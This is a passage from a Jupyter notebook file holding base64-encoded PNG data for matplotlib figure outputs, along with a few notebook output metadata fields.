P71KL7draWjJv3rx2z9XR0ZEAICEhIeTgwYOsr6/7UVVVRRYvXtyltsb3+93bt28nEydOJGKxmNFNkydPJnfu3LGprKysLDJ58mRmXg8fPtyuPXZtbS3Zs2cPiYuLY+afz+eTESNGkN27d3dJttFoJFevXiUrV64kY8aMISKRiGnZ3faZT5o0iZw6dYrZBxaLhZjNZmIymf7QGmtqaiK7du0iHh4eHVqy3+/Lei7w+XyiUqnI6NGjyYkTJ+7aVv1+rF27liQkJJBp06aRwsLCu/6MTqcjR48eJfv27SOpqamke/fu7dqXe3t7k82bN3dK7u/R6/Xk2LFjZPDgwczvdXFxITt37iQmk4kQ0nqeVVZWkq1bt5KDBw/aRN9ZLBZisViI0Wgka9euJRKJhPB4PCIUCsm8efNIdnZ2l2Xci8OHD5MZM2aQX375hRQUFJD6+nrWZN2NdevWEX9/f2bfBAYGdkkv/lFKSkqYtdv2KzIykuzevZtpV28rDAYD+fTTT4lAICArV64kLS0tNv399+PAgQPkH//4B1EqlR1sgW7dupH4+Hji6urKPAMvLy+SkZHRqbVtsViIyWQin332GXnyySeJr68vkUgkJDw8nIwePZr5GjlyJImMjCQCgYDMmTOH9WdtNptJVlYW8fPzI0KhkGzatKlT9p3RaLyrvf3QgWKJiYlQKBT4+OOPsWHDhrt2nmxubsZLL70EgUDAxAaazWYYDAaYzWY4OTlh5syZGD58eKdk83g8BAYGYsCAAfjXv/6F7t2749lnn2U8lYQQNDY24tatW7h58yZUKhWWLFlik+B+QggkEgnEYjECAgKYMnLHjx9HTU0NHnvsMbz00ksIDQ1FTk4O+vXrB2dn5y7JtrYOLysrQ2FhIQ4cOICLFy+ipaUFYrEYs2fPxssvv8x6XJrBYMDy5ctZ9VSZzWaUlJRgwYIFkEqlmDlzJmsVU+6HdR7PnDmDvXv3orGxEU8++STmzp3LqlyFQsHUZM3Ly8NTTz2FhQsXwt/fH4QQpvzbqVOnoNVqmY5uffv2xfDhw7vkDZBKpXj++eeh1WpRVlbG1DD/5ptvUFhYiJycHGg0Gk5CVYDW6/bi4mJoNJpO/1+z2Ywff/wRa9aswapVqxAQEMB0rPvyyy9x5MgRlJeXo7KyEnw+H3FxcZg5cyamTJli8xuZXr16MbW98/PzkZyc3M5jeOHCBdy6dYtp+AQACQkJeOGFF5CYmPhQMisrK3HixAnk5eXhk08+QUNDA4xGI0wmE7OffX19odVqmZrnMTEx7fRJZ9aWk5MTBg0ahI8//hjvvPMOCgsL233fKrOtZxxozXmJiYnBq6++Cj8/P4SGhsLJyalT4QU1NTX46KOPUFBQgOzsbISEhGDAgAGQyWS4fv06Tp48iatXr6KlpQWnT5+G0WhsFxcPtN4kvvfee11ObBSLxejbty8+/fRTzJs3D6dOnUJ9fT1WrVqFrKwsJCUl4cSJE9iwYQMaGxsxffp0hIeHd7hN7izWZNE1a9bg9ddfh16vh5ubG5YtW4ZRo0axuoejoqKgVCqxdu1aKBSKDgna1qQ/W5YqtZKTk4OjR48ypfVcXFwwe/Zsu4QtCIVCBAcHd/AUX758GceOHUPv3r1tdptKfg2/XbNmDTQaDSZPnsxK8uK9yMjIQFpaGqqqqtp9LpPJEB4ejmHDhmHIkCFISUkBAPz888/o379/p0JorH02Zs+ejRkzZqC6uhq3bt1CSUkJamtrUV1djdu3byMsLAx8Ph8ajYapq88WJpMJV65cwdSpU3Hjxg3ExMRg1KhRXUrytvLQVo5AIEBQUBBmzZoFqVSKX375hUkks2I1ittOTlul6+7ujmnTpj1UjJNAIMDKlSvx7LPPYunSpcjKykJgYCD0ej2Ki4tx5coVlJSUwGw2o7q6GuvWrYOHhwdiYmIedsgAWg2WxYsXY8aMGeDz+cz1pkQiwfbt2+Hg4IDY2Fg4OzvD1dWVSVLqLNasf3d3d0ZxNzc3w2AwoLm5GRaLBcHBwViyZAni4uKYLHW2+X0TBVvT0tKCa9euobS0FEOHDkVKSopdFOndsNbJzc3NhUKhQEREBOvJo2q1GvHx8UhPT0dhYSGTICMWi5n6wU1NTdDpdLBYLBCLxRg6dCiee+65Ll//CoVC9O7dG8uWLWO6qc2ZMwdGoxHdunVDjx49WB//vbBYLKivr0dhYSEmTJjQ6f9Pfq0tnZmZiTfffJO5Ni4qKkJOTg7u3LkDHo8HT09PJCYmYtGiRVCpVKyUCJPL5RgxYgSuXbuG9evXo76+HvX19UyyqF6vZ8oo8vl8JCQkYN68eRg8eHCndaVOp8Pu3buxcuVKFBQUoKWlhWnpLRaLMXz4cLz22msQiUTYtWsXNm7cCEdHx4eqw/x7pFIpkpOT0bdvXyxatAjp6ekd8oqkUik8PT3h6uoKFxcXDBkyBEOHDkWfPn0gFAofysA4c+YMysrK0NLSApPJhE8//RSrVq0Cn8+HyWRCY2MjE5LTtjawWCyGt7c3nJ2dMWnSJCQlJXU5KQtojYENDQ3FypUrGYPc2twoLS0NdXV1qK2txeDBgxEZGWnTUAO9Xt+uu2tERATc3d1ZPStqamogkUgwbdq0u4a1NTU14aeffsLcuXPbJTvagvz8fOTm5jJ2hlgsZhqYsY2Hhwe2bNmCv/3tb9i5cyfjnDQajfj666/R1NSE559/3iaVxsxmM6qqqpCfn4/PPvvMpnXF/wipqan497//DZPJBKFQiKCgIMTHxyMuLg6RkZFQqVQghDD7x5qw/TBYQ2ydnJzg5eWF3r17w2w2w2w2w2g0Mr/X6iS1FWazGYWFhTCbzQgMDITZbEZ2dja++uorFBUVwd/fH8uWLbPZC1aXXI5SqZQp6D5s2DDs2bMHFy9efGApMIFAAE9PT6SkpHSpVnOvXr3wwQcf4MMPP8TBgwdx5MgRSCQSdO/eHbGxsZg1axZcXFxQXV0NpVLZpbbwVvh8PtP4xoq1O+Hly5eZ5FKrof6wfPPNN8jMzIRYLEZeXh5TvkksFkOtViM5ORkjRoxAv379mIL4bGM2m1mp5tCWhoYGRkE//vjjNjkMH5Zz587hyJEjMBgMGDNmDBITE1mfZ5FIhKFDh6K2thYrV65Efn4+KisrO3gSgdaGA2PHjsXgwYMRFhZmE4UsFovbNaW4ffs28+Ln4eHBagLU/bB2rPT29n7olw4+nw9CCPbu3cvc1lmNsYEDByI+Ph5BQUFMl0S2EqGsnucXXngBgYGBOHz4MPbt29euDBsAPPbYY0hMTMTQoUMRHh7+UDHrzc3NyM/Px8mTJ9Hc3AwHBwcoFAoMHToUsbGxTBk/a2djb29vCIVCmyS683g8yGQyyGQyvP/++1i4cGEHY1woFMLR0RFisZhJIlYoFF1KjI6IiIBarUZJSQnq6uraNR4C2nvlxWIx5HI5Ro8ejZ49e2LgwIEQiUQICAiAp6enzYxWsViMsLAwvPPOO8jIyMDmzZtRUlKCmpoaEELQp08fTJgwAbGxsTbbY4QQ/Pjjj4xRNG3aNCiVStadNu7u7jhz5gzq6+shkUjg4+MDNzc3SCQSJhdIJpPB39/f5rKrqqraeWu1Wi1WrFiB6OhoeHl52VxeWwQCAcLCwvD3v/8dBoMBe/fuZdbanTt3kJGRgbi4OKhUqi7ftun1ehw4cIBpBGgPR1xbgoODsWjRIpSVlSEiIgKBgYFQKBRwc3ODXC7vYBR39aYH+K1ktb2qpVy+fBnfffcdrl69ij59+sDDwwP79+9nEpBffPFF9O3b12Zz3yVjvG27VF9fX6jVahQXFzPXNMXFxSgvL293/SeTyaBSqRAcHIz4+PguGax8Ph8DBw7E4sWLkZeXx7wlubq6Qq1Wo0ePHkz9c0dHR9a8eu7u7ggODoZSqYS/vz9MJlOXFapSqYS3tzcsFgtiY2OhVCrh5+eH7t27w9PTE1FRUejVq5ddjSOz2YzTp0/f9XvWcnhdgRCC6upq7N+/n+lWB/zWUtpqFLatEsMW1g52ly9fhlqtxpAhQ+Dr68uqTCs+Pj4YN24chEIh9u/fj2PHjkEoFKK8vBwKhQJhYWGIiopCfHw8+vXrBx8fH1auKPV6PVMyLCgoyO4vRgaDARUVFbh06RKOHTuGnJwcJCUlPdShyufzMWTIECxevBhffPEFampq4OjoiPj4eCQkJKB///7o2bMnXF1d7ZIEJZVKodFo4O7ujj59+sDNzQ1VVVUQCASQSCSIiIhAVFQUwsPDoVQqH/oAsiay8/l8uLi4oG/fvswVckBAQLuk66CgIMjlcvD5fJvryujoaJv+vvvh6emJN998E8XFxfj+++9RVlYGo9EILy8v5naHEAKhUAilUomwsDD06dMH7u7uUKlUrJa+Gzx4MHr06IHw8HDs2LEDVVVV0Ol0SEpKQnx8vE2MFiuEEKbxTFRUFB5//HG7lCZ1cnKCr68vqqursWPHDlRUVEAqlUImk8HBwQHV1dUYOXIkAgMDbS7bYDC0S0TW6/U4efIk8vPzWTfGgdb9FhkZiQULFkChUCAnJwcVFRUICgpiHHh6vb5LxrjBYMDVq1fxn//8B0888QRTwtmeODo6IjU1FXV1dfD394dcLrf738A2rq6uMBgMOHnyJHJycphyvxqNBomJiRg/frxNb05tEoxr9YD069cPUVFRTChDUVERrl+/3s4Yl8vlUKlUUCqVtomzEQgwfPjw+8ads9mNCmitqqHRaJCcnAw/Pz+bKPMnnngC4eHhzJu1n58fVCoV4wW395sw8NtV/+8JCQlBbGxsl7PVrXkHLS0tTNkknU6HO3fuoLGxER4eHvD19bXLTcClS5dw+PBhiMVipsmSveacz+fD398fEydORHBwMDQaDQQCAcrLy+Hu7g6NRsPMt1gsZm0uGhoa0NDQAKVSif79+7NupDY2NqKyshI3b95EdXU1KisrUVZWhvLyclgsFkRFRWH06NEP9bv5fD6ioqLg6ekJs9mM+vp6ODo64rHHHsOgQYM61SHOVljzTry8vKBQKHD79m3GUxwTEwOZTNblNefk5ITY2FjMmTMHAoEAsbGxiI+Pv+teFQgEdnvhZJvU1FRotVpIJBKUlpbCZDLBx8eHeeECfruh7dWrl93+LolEgqCgIAQFBUGlUqGqqgpNTU0ICwtj8hhshbXaxK1bt5CcnIyePXvareydtTtieno6iouLodVqodPp4ObmhtTUVISFhbFiwHl6esLLywulpaXM2Wnd7/aCx+MhKSkJCoUC2dnZKC8vR0hICCQSCQICArr8DOrq6rBnzx4UFBTggw8+sJun+Pf4+flx8iJgL3x9fTF27FiIRCLmBtXqwBk+fLjNz0OeVqu9ZzYelyEClD8fTU1NCA8Ph1arZdpmh4eHY/r06Zg0aZJNDvKKigqsWLECn3/+OQQCAVQqFQQCAcaMGYOIiAgMHjyY9bhlvV6P999/H1u2bEFCQgJmz57d5VyD/0aqqqqwcOFCBAYGYsaMGVCpVKzexFRWViI3Nxfnz59HUVERbty4Ab1ej9DQUDz11FOIjo62mzFBofy3Y7FY8Mwzz+AAmS61AAAJRklEQVT06dPYsWMHAgMD7R5mdvHiReTm5qK0tBSlpaVQKBR46623WNvHeXl5WLt2Lb777jvm5TY0NBQ//PDDQyV+/xkpLCzE//7v/6KlpQU///yzTZyaFPthMpmY3iBtsX+ZCsp/LSKRCIsXL0ZWVhaysrJACMGHH36IhIQEm90+eHh44LnnnsPFixdRXV2NCRMmwM/PD8nJyXbzAFRXV+PGjRuIi4vDlClTWMn6/2/A3d0daWlpdpNnzcWwdUMUCuX/R3g8HuLi4iCTyRAQEMBJvkdERAQiIiLsJi84OBjjx49HbW0tMjIy4OzsjGnTpj0yhjjwW0LwgAEDqCH+CEE94xQKhUKhPGIQQvDVV19BoVAgJSWFkxKxFAqlPffyjFNjnEKhUCgUCoVCYZmHClOxWCwdSlFRKBQKhUKhUCiUznGvpPz7GuO/r3tLoVAoFAqFQqFQbIf96+NRKBQKhUKhUCgUANQYp1AoFAqFQqFQOIMa4xQKhUKhUCgUCkdQY5xCoVAoFAqFQuEIaoxTKBQKhUKhUCgcQY1xCoVCoVAoFAqFI1gxxnmlpXCaMAHygADIgoLg+OqrgMnEhqj2cmtr4fT005D7+EAWHg7hli2sy0RLCyQLFkAWHg65ry+cH3sMgv372Zf7K1zMtVypbP/l6toq1w5wtbb4eXmQJidD7u8P56goCH75hXWZAEdrug38wkLIPT0hmT3bbjIls2dDFhwMuZ8fnGNiIFy37pGWy9kz5lB3cTVm6ZgxkHt6MrrLuW9fu8gVrVoF6ZAhkHt4QDJvnl1kAtzpLa7GC3AzZi7PRK6eMZdj5mofsymXlf64kldeAVEoUJ+XB15dHaQpKRB98w0Mc+eyIY7B8ZVXQEQi1OfnwyE7G9KJE2EOD4clNJQ9oSYTLEolGnfuBPHzg2DfPjjNmIGGY8dAAgLYk/srXMx1/c2bv/2jsRHy4GAY/+d/WJPXFk7WlskEpylTYJgxA03btsEhMxPSyZPRGBoKS2Age3LB0Zr+nXxzdLRdZFlpWbwYus8/B8Ri8PPzIR07FuY+fWCJjHwk5XL2jDnUXVyua93SpTBOm8a6nLZYvLzQ8sorEBw8CJ5OZx+hHOotTsYLcDZmzs5EDp8xl3YAwM0+ZlMuK55xfmkpjCkpgKMjiKcnTImJ4F+9yoao32hqgnD7drT89a+AszPM8fEwjhoF4aZN7MqVStHyl7+0Hl58PkyjRsHi7w+HCxfYlfsrnMx1G4Tbt4MoFDAPGGAXeVyMl5+fD35FBQzz5wMODjAnJMAUFwdhWhqrcjlb078i3LoVxMUFpsGD7SLPiiU0FBCLW//B4wE8HhyKix9NuVw+Y650F8frmgtM48bBNHYsiKur3WRyprfAzXgBbsdsxZ5n4p9hvID97YBHEVaMccO8eRBu3Qo0N4NXXg5BejpMiYlsiGLgX7sGCATt3gbNGg0ccnNZlft7eJWV4BcW2s1zycVct0W0cSMMkya1Gi92gOvxMhDC+tridE3X10O8ZAn077/Pvqy74Pjyy5B7e0PWrx+IpyeMw4c/knL/LHoLsJ/u4nrMju++C5laDenIkXA4etQuMv802EFv/emw85jtfSZ2gINnzMWYudrHbMllxRg3DRgAh6tXIffzgzwsDObISJjGjmVDFAOvqQlEJmv3GZHLwWtsZFVuO4xGOM2aBcPkybAEBdlFJBdzbYVXVgaHY8dgmDzZLvIAbsZr6dULRKGA6LPPAKMRgoMHITh2DGD5+pXLNe34/vswTJ0KolSyLutu6JcvR/2NG2jcvRvG5OTfPNaPmNw/hd4C7Kq7uByz/t130XDhAhpyc2GYPh3SyZPBt8OtCxdwpbe4hOsx2/tM5Hq8ADd2AFf7mE25tjfGLRZIx4+HMTkZ9eXlqC8qAk+rhePf/25zUW0hUil4DQ3tPuPV14M4O7Mql8FigWTOHBCRCPqlS+0mk4u5tiLatAnm/v1BVCq7yONsvEIhmtavh3DvXsiCgiBasQLGlBQQHx9WxXK1pvmXLkFw+DAML7zAqpwH4uAAc3w8eOXlEK1Z80jK5VxvAXbXXVyO2dy3LyCTAWIxjFOmwBQXB8G+fazL5QSO9BancDxmu5+Jf4JnbPcxg7t9zKZcmxvjvNpa8G/cQMusWYBYDOLqCsPTT7OepW8JDARMJvALC5nPHHJyYLZHuAghkCxYAH5lJZrXrQOEQvZlgru5tiJMS7Pr2zCX47WEh6Np1y40FBej+aefwC8pgTkmhl2ZHK1pQWYm+GVlkIWHQxYUBPGKFRBu3w5nO8eOW+GZTJx4L+0hl1O9BXCiuzgfc1t4PIAQ+8u1E1zoLa7hcsz2PhMB7p8xF2PuAFf72IZybW6MEzc3WAICIP7229aSc1otRBs3wty7t61FtUcqhTE5GeIlS4CmJjicPAnh7t0wTpzIrlwAji+9BH5+PprS0gCJhHV5VjibawAOp06Bf+uWXbOnuRwvPycH0OuB5maIPv+8NWlmyhR2hXK0pg3PPouG8+fRePQoGo8ehWHGDJhGjEDTTz+xKhcAeFVVrTkBjY2A2QzBgQMQbt0KU0LCIymXS70FcKS7uBqzVgvBgQOt+9hkgnDzZgiOH4cpKYlduUCrvtLrAbO59evXv4FtONFbAGfjBbgbMxdnIsDhMwZHY+ZqH7Msl5WY8aZ//xuC9HTIe/aELDoaRCiEfskSNkS1Q798OXg6HeS9esHp+eehW76c9WQkXlkZxGvXwiE7G/LgYKb+pHDzZlblWuFqroUbN8I4dmzrlY0d4Wq8ok2bWp9vr14QHD6Mpm3b7BLHzMWahpMTiKfnb19SKYijI4hCwa5cAODxIFqzBvKwMMhVKji+9RZ0//d/MD3++KMpFxw9Y3CruzjR1SYTxP/8J+SBgZCr1RCtWoXm9etZLwEHAOKlS+Hi5QXHjz+GaPNmuHh5QWyHkCCu9BZX4wW4GzNXZyJX4wW4GTNX+5htuTytVvvo3tFRKBQKhUKhUCh/YljxjFMoFAqFQqFQKJQHQ41xCoVCoVAoFAqFI6gxTqFQKBQKhUKhcAQ1xikUCoVCoVAoFI6gxjiFQqFQKBQKhcIR1BinUCgUCoVCoVA4ghrjFAqFQqFQKBQKR1BjnEKhUCgUCoVC4QhqjFMoFAqFQqFQKBzx/wCCRSWWzH+HAQAAAABJRU5ErkJggg==\n", "text/plain": [ "<Figure size 936x216 with 1 Axes>" ] }, "metadata": {} }, { "output_type": "display_data", "data": { "image/png": "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